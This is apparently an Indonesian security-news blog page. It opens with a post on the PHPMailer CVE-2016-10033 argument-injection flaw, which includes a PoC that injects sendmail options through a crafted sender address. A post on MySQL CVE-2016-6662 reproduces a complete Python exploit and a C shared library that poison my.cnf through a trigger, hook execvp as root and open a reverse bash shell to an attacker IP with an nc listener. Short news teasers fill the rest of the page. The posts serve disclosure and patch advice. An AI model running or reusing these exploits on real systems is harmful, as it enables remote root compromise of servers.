Lebih Detail Soal Critical Vulnerability PHPMailer Desember 2016, Ayo Update!

Tepat pada 25 Desember 2016, CVE-2016-10033 resmi dirilis ke publik oleh hacker ternama asal Portugal, om Dawid Golunski. CVE terbaru tersebut menyasar critical vulnerability di PHPMailer.

Yup, PHPMailer gan. Library sejuta umat yang digunakan untuk mengirim email oleh berbagai CMS dan framework ternama dunia. Setidaknya CMS berikut ini harus segera diupdate:

  • WordPress
  • Drupal
  • 1CRM
  • SugarCRM
  • Joomla

dan beberapa framework PHP seperti:

  • Yii
  • Symfony2

Pokoknya semua yang memakai PHPMailer < versi 5.2.18.

Kelemahan PHPMailer

Seperti diungkap oleh om Dawid, PHPMailer mengirimkan email lewat function mail().

protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Dimana salah satu cuplikan source codenya seperti diatas.

Penggunaanya biasanya menggunakan sintaks berikut: $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Lalu apa pangkal masalahnya? Masalahnya adalah proses filter parameter yang (bisa jadi) tidak sempurna.

PHPMailer dalam memvalidasi alamat email yang dimasukkan oleh user menggunakan standar RFC3696, dimana kelemahan standar itu adalah memperbolehkan alamat email yang mengandung karakter spasi, seperti “luthfi emka@gmail.com” misalnya.

Berikut cuplikan method SetForm dan cara filter parameternya di PHPMailer:

public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
    !$this->validateAddress($address)) {
...

Dimana jika user memasukkan parameter ilegal seperti “Attacker \” -Param2 -Param3″@test.com, parameter tersebut ternyata sukses tidak terjaring FILTER dan masuk dieksekusi oleh aplikasi sendmail yang biasa digunakan oleh PHPMailer dan tentunya mengeksekusi aplikasi lain di server kita dari jauh (Remote code execution).

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Contoh exploit yang saat ini beredar mungkin lebih menjelaskan konsep ini gan:

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>";

// ------------------


// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");

$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!\n";
}

dimana parameter yang masuk ke aplikasi daemon sendmail adalah:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]

dimana opsi -X di sendmail akan menulis output log ditempat yang ditentukan, yang tentunya bisa kita baca (misal: /var/www atau /var/www/html).

Update Sekarang!

Ayo update CMS maupun Framework PHP mu yang masih menggunakan PHPMailer lawas. FYI, versi 5.2.18 baru (yang lolos dari bug diatas) dirilis 3 hari yang lalu (25 desember 2016) jadi masih sangat-sangat baru.

Yang sudah menggunakan Composer tinggal lakukan composer update, yang belum silakan download versi terbaru dari PHPMailer (saat tulisan ini terbit bahkan) versi 5.2.19 di sini:
https://github.com/PHPMailer/PHPMailer/releases

Referensi bacaan:
– Legal Hacker (official advisory): https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
– Thehackernews: http://thehackernews.com/2016/12/phpmailer-security.html
– Heise Forum: https://www.heise.de/forum/heise-online/News-Kommentare/Luecke-in-PHPMailer-erlaubt-die-Ausfuehrung-fremden-Codes/Erklaerung-wie-die-Luecke-funktioniert/posting-29702835/show/

Kisah Tragis Hacking 2000an Server Jaringan Kereta San Fransisco November 2016

Kisah aksi hacking ini bukan merupakan transkrip dari serial Mr. Robot atau CSI Cyber maupun Scorpion. Ini aksi hacking beneran terjadi dan sampai saat ini masalahnya belum selesai dan bahkan semakin menarik di ikuti.

Minggu lalu, Jaringan Kereta Bawah tanah (Muni) di Kota San Fransisco di hack dimana sekitar 2.212 server yang ada, di enkripsi dengan Ransomware. Tidak hanya server saja, hacking ini juga menyasar sampai ke komputer klien pemesanan tiket di loket-loket. Ini salah satu penampakan pesan hacker di salah satu mesin loket di SF: Continue reading Kisah Tragis Hacking 2000an Server Jaringan Kereta San Fransisco November 2016

Hacker Kelabui dan Bisa Curi Mobil Tesla dengan Modal WiFi & Kupon Burger Gratis

Social Engineering memang menarik untuk dipelajari. Bahkan teknik lawas ini akan selalu relevan dilakukan dalam setiap pentest atau aksi hacking betulan. Contohnya, dua hacker asal Promon AS berhasil mendemonstrasikan cara untuk mencuri mobil Tesla dengan modal Wifi dan kupon burger gratis.

Tesla Model S, salah satu mobil listrik terpopuler dan tercanggih saat ini mempunyai fitur serba otomatis, termasuk unlock pintu mobil dan kunci mobil dengan aplikasi di smartphone (Android, iOS). Inilah celah yang dimanfaatkan oleh para hacker tersebut. Continue reading Hacker Kelabui dan Bisa Curi Mobil Tesla dengan Modal WiFi & Kupon Burger Gratis

#VoCo, Software ‘Photoshop for Audio’ Berbahaya dari Adobe

Sebuah aplikasi baru yang hadir dari Adobe dan dijuluki sebagai “Photoshop of Speech” atau “Photoshop of Audio” mendadak viral dan terkenal akhir-akhir ini. Bagaimana tidak viral, dengan bantuan software ini kita bisa membuat komposisi suara yang sangat mirip dengan suara seseorang.

Lebih jelasnya, dengan software ini kita bisa bikin seolah-olah ‘si X’ mengatakan ‘abc xyz’ dan kalimat lainnya sesuka kita dengan hasil Output Suara yang sama persis dengan suara dan intonasi si X ketika bicara. Benar-benar leap terbesar kalau benar-benar software ini mampu hadir ke publik nanti.

Silakan lihat demonstrasinya disini: Continue reading #VoCo, Software ‘Photoshop for Audio’ Berbahaya dari Adobe

Hacker Tembus Web Pemerintah Italia, 45 Ribu Data User di Umbar

Kapustkiy, kelompok Hacker kenamaan kembali beraksi dengan membobol website pemerintahan, tepatnya website Departemen Pelayanan Publik Itali (dipartimento della funzione pubblica).

Dengan teknik SQL Injection, Kapustkiy berhasil mendapatkan database yang berisi setidaknya 45.000 pengguna, termasuk data-data kunci yang biasa dijadikan sandi untuk bisa mendapatkan layanan-layanan di kota-kota di Italia. Kapustkiy pun mengumbar ribuan data tersebut ke PastebinContinue reading Hacker Tembus Web Pemerintah Italia, 45 Ribu Data User di Umbar

Cara Melindungi MBR Komputer dari Virus dan Ransomware

Kejahatan dunia maya, khususnya melalui penyebaran virus komputer dan ransomware semakin hari semakin canggih dan berbahaya. Butuh proteksi ekstra selain hanya mengandalkan Antivirus dan Firewall saja.

Nah, salah satu target dan titik ampuh sebuah virus/ransomware tetap bercokol di komputer adalah menginfeksi file MBR (Master Boot Record) yang merupakan blok terdepan di harddisk komputer yang dijadikan tempat bagi komputer untuk booting mencari OS.

Oke, untuk melindungi file MBR ini, tidak cukup dengan antivirus. Karena memang peruntukkannya yang bukan digunakan untuk memproteksi dan mengamankan MBR. Terus pakai apa? Cara Melindungi MBR Komputer dari Virus dan Ransomware pakai MBRFilter. Continue reading Cara Melindungi MBR Komputer dari Virus dan Ransomware

Trojan FakeFile Serang semua Distro, selain openSUSE

Dr. Web Antivirus membahas rinci terkait ditemukannya trojan linux yang menyebar bulan Oktober ini. Trojan yang mendompleng pada file PDF, Microsoft Office dan (ehm) OpenOffice ini beredar cukup luas sekarang. Trojan ini menyerang distro linux di platform desktop! bukan Server maupun IoT loh.

Uniknya, trojan ini dalam source codenya, secara jelas mengecualikan distro openSUSE. Artinya, semua distro linux selain openSUSE bisa terinfeksi trojan ini (mungkinkah pembuat trojan ini pengguna openSUSE?)

Salah satu ciri dari adanya trojan ini di sistem adalah adanya file

~/.gconf/apps/gnome-common/gnome-common 

, sekalipun tidak ada Gnome di desktop linux kita. File executable gnome-common ini yang mengeksekusi file decoy, “FakeFile”. Continue reading Trojan FakeFile Serang semua Distro, selain openSUSE

Hacker 117 Juta data LinkedIn asal Rusia ditangkap FBI!

Kepolisian Ceko dan FBI bekerjasama dalam sebuah operasi penangkapan terhadap tersangka hacking data LinkedIn tahun 2012 yang mencuri lebih dari 117 juta data pemakai LinkedIn. Penangkapan yang berlangsung dramatis disebuah restoran itu pun kini jadi salah satu top story.

Adalah Yevgeniy N, hacker asal Rusia yang ditangkap di kota Praha tanggal 5 Oktober kemarin. Menurut Reuters, Yevgeniy ditangkap FBI juga karena ikut serta dalam serangan terkoordinir terhadap infrastruktur TIK Amerika Serikat. Diperkirakan, komplotan tersebutlah yang juga bertanggungjawab terhadap aksi hacking pada DNC (Democratic National Commitee), dan kandidat Presiden Amerika, Hillary Clinton. Continue reading Hacker 117 Juta data LinkedIn asal Rusia ditangkap FBI!

12 Year Old SSH bug Make 2 Million IoT Devices Insecure

Do you feel your internet connected devices spying you? Maybe it really spying you. Internet of Things devices is so badly insecure, because of default password and unencrypted API processing. IoT devices now being a definitive target for hackers to set botnet and launching Distributed Denial of Service (DDoS) attacks against target services. Continue reading 12 Year Old SSH bug Make 2 Million IoT Devices Insecure

Yahoo Dihack! 500 Juta Pengguna Terkena Imbas (+ Solusi Sementara)

Yahoo secara mengejutkan mengumumkan dalam konferensi pers-nya terkait aksi hacking yang menimpa infrastruktur mereka. Dan, tampaknya kasus ini akan menjadi kasus pencurian data (data breaching) salah satu yang terbesar di tahun ini. Sekitar 500 juta pengguna terdampak kasus ini!

Dalam rilis resmi via laman Tumblr, Yahoo menyebut bahwa data yang dicuri ini berasal dari tahun 2014, berbeda dengan rumor yang beredar sejak dulu yang mengatakan ada kasus data breaching tahun 2012. Yahoo juga secara lantang menyebut kelompok hacker menjadi dalang dari aksi pencurian ini, disebut sebagai state-sponsored actor, pelaku yang didukung oleh otoritas sebuah negara (banyak yang berspekulasi, dari mulai menuduh Russia, China, Korea Utara, dll). Continue reading Yahoo Dihack! 500 Juta Pengguna Terkena Imbas (+ Solusi Sementara)

Xiaomi Diam-diam Install Aplikasi Aneh lewat Backdoor? Jutaan HP Rawan Kena Hack

Bukan rahasia lagi kalau setiap pembuat smartphone berani memberikan pengalaman lebih dengan membenamkan aplikasi-aplikasi khusus pada smartphone buatannya. Baik itu yang kasat mata berguna untuk keperluan sehari-hari, atau aplikasi yang berjalan dibelakang layar melakukan hal-hal yang ‘berguna’.

Salah satunya adalah Xiaomi. Xiaomi membuat ROM baru bernama MIUI dari Android. Beberapa fasilitas dan aplikasi khusus dibenamkan Xiaomi ke ROM Android buatannya itu. Nah, adakah yang menarik dari langkah Xiaomi itu?

Continue reading Xiaomi Diam-diam Install Aplikasi Aneh lewat Backdoor? Jutaan HP Rawan Kena Hack

Mengenal USB Kill 2.0, Perusak Laptop/PC berbentuk USB Flashdisk

USB Kill 2.0 adalah versi lanjutan dari USB Kill. USB Kill adalah salah satu perusak Laptop/PC berbentuk USB Flashdisk. Dengan bentuk mirip USB Flashdisk, laptop atau PC yang dicoloki akan segera mati dan rusak (motherboard) nya.

USB Kill ini sangat populer di para pegiat cyber security, karena dengan modal tool mirip USB Flashdisk ini para penegak hukum atau orang yang kebetulan berusaha mencuri secara fisik data mereka akan mengalami kesialan luar biasa.

screen-shot-2016-09-13-at-9-29-40-am

USB Kill 2.0 diproduksi salah satu perusahaan asal Hongkong. Hanya sekitar 49.95 dollar (650ribuan). Continue reading Mengenal USB Kill 2.0, Perusak Laptop/PC berbentuk USB Flashdisk

Dua Zero-Day Exploit Serang Database MySQL! (+ Solusi Sementara)

Dua zero-day exploit berbahaya baru saja ditemukan pada database terpopuler di dunia, MySQL. Hacker yang memanfaatkan celah ini dapat memperoleh akses database secara penuh, menjadi root dengan mudah. Bahaya sekali kawan…

Adalah om Dawid Golunski asal LegalHackers Polandia yang menemukan celah berbahaya ini. Dua exploit ini dimuat di CVE-2016-6662 dan CVE-2016-6663 dan menyasar seluruh versi MySQL sampai versi terbaru dan juga semua turunan/fork dari MySQL seperti MariaDB dan PerconaDB.

Kawan bisa baca lebih lanjut soal ulasan teknis dan source code dari proof of concept exploit ini disini.

CVE-2016-6662 menyasar kelemahan MySQL di konfigurasi MySQL (my.cnf) yang bisa diinject dengan setting khusus yang disiapkan oleh hacker, dimana kunci kelemahannya ada pada daemon mysqld_safe. Daemon ini digunakan sebagai wrapper untuk banyak sekali paket mysql atau untuk keperluan yang lebih umum (sampai sekarang) yaitu instalasi untuk start services MySQL.

Daemon mysqld_safe di eksekusi sebagai root dan jangan kaget, mysqld (daemon utama dari mysql) menghiraukan seluruh privilege-nya menjadi level mysql user. Seperti dikutip dari om Golunski berikut:

“If an attacker managed to inject a path to their malicious library within the config, they would be able to preload an arbitrary library and thus execute arbitrary code with root privileges when MySQL service is restarted (manually, via a system update, package update, system reboot, etc.)”

Sekilas dari proof of concept yang bisa saya rangkum disini adalah sebagai berikut:
1. inject malicious configuration ke file konfigurasi mysql yang sudah ada dengan permission yang paling lemah namun berguna (seperti konfigurasi yang digunakan/ditulis oleh si mysql user).

Pada tahapan ini, hacker bisa Inject library mysql khusus yang disiapkan menjadi exploit selama-lamanya tanpa ketahuan (kalau tidak jeli) karena exploit berjalan sebagai modul dari MySQL

  1. Membuat file konfigurasi baru dengan MySQL data directory yang bisa ditulisi pada area konfigurasi __default__. Sangat berbahaya, karena untuk membuatnya tidak perlu konfigurasi permission yang khusus.

Masih menggunakan mysqld_safe dan melakukan trik khusus untuk membypass blokade SELECT xxx OUTFILE dari MySQL.

Contohnya:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

Hasilnya, setting diatas bisa masuk ke my.cnf (:))

  1. Hacker hanya butuh permission akses SELECT/FILE saja untuk bisa menulisi konfigurasi utama MySQL (di bagian default).

Contoh trigger yang bisa dipakai:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

heheu, dilanjutkan dengan ini:

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

Dan, trigger diatas akan dieksekusi manakala ada satu kali saja tabel itu diisi data baru (satu kali query INSERT INTO sudah cukup)

Solusi Sementara

Sampai saat berita dan Proof of Concept ini menyebar, Oracle belum merilis patch apapun. Namun untuk MariaDB dan PerconaDB sudah mengeluarkan warning dan patch khusus. Jadi solusi sementara yang bisa dilakukan adalah:

  1. Selalu backup dan restore file my.cnf dengan konfigurasi terbaik yang kita lakukan secara berkala, jaga-jaga jika ada entri baru yang masuk
  2. Update MySQL (menunggu Oracle merilis patch)
  3. Perketat keamanan CMS/Sistem Informasi utamanya pada SQL Injection (ingat, permission select aja udah cukup buat server rusak dg exploit diatas heuheu)
  4. Pindah ke MariaDB atau PerconaDB (sorry to say, Oracle is not too serious developing MySQL. They just bought and touch them when they need…)

Source Code

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned 😉

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there 😉
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here 🙂

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember 😉
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned 🙂
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

mysql module:

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse 😉 and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Sumber:
– LegalHackers.com (http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)
– The Hacker News (http://thehackernews.com/2016/09/hack-mysql-database.html)

Thailand Alami Hacking ATM Pertama Kali, 10rb ATM Siap Digasak?

Thailand tampaknya baru saja mengalami serangan hacking ke ATM Bank untuk pertama kali. Dikutip dari TheHackerNews.com, sekelompok hacker asal Eropa Timur berhasil menggasak sekita 12 Juta Baht, sekitar 350.000 US dollar atau setara dengan 4,6 Miliar Rupiah.

Aksi hacking ini menyasar sekitar 21 ATM di Bangkok dan 5 provinsi lainnya dari bank yang sama. Bank Sentral Thailand (BoT) telah resmi mengeluarkan warning kepada seluruh bank komersial seluruh Thailand untuk waspada menghadapi kemungkinan terburuk pada 10.000 ribu lebih mesin ATM yang berpotensi digasak di negeri itu. Continue reading Thailand Alami Hacking ATM Pertama Kali, 10rb ATM Siap Digasak?

Go-Jek Mengelak Kena Hack, Anjurkan Usernya Ganti Password?

Anjuran pengantian password yang diterima pengguna menimbulkan dugaan sistem Go-Jek telah diretas. Apalagi banyak akun Go-Jek yang memiliki saldo Go-Pay dalam jumlah besar, seperti banyak ditawarkan di media-media sosial.

Menanggapi hal tersebut, pihak Go-Jek membantah., Rabu (27/7/2016), perusahaan besutan Nadiem Makarim ini menegaskan tidak terjadi peretasan pada sistem Go-Jek. Continue reading Go-Jek Mengelak Kena Hack, Anjurkan Usernya Ganti Password?

Kisah Ditangkapnya Admin KickAss Torrent, Reverse DNS Lookup, WHOIS dll. Ada Peran Apple & Facebook?

Satu pembelian musik di iTunes bisa membuat kamu masuk penjara. Itulah setidaknya kisah dibalik ditangkapnya admin KickAss Torrent (kat.ph/kat.cr), Artem Vaulin.

Seperti kebanyakan kita tahu, admin KickAss Torrent resmi ditangkap di Polandia. Kemudian, website KAT resmi ditutup dan beberapa jam kemudian para penerusnya bermunculan, seperti DXTorrent, Kickass.website dan KAT.am. Lalu bagaimana bisa seorang admin dari website torrent terpopuler itu bisa tertangkap? Simak!

Reverse DNS Lookup

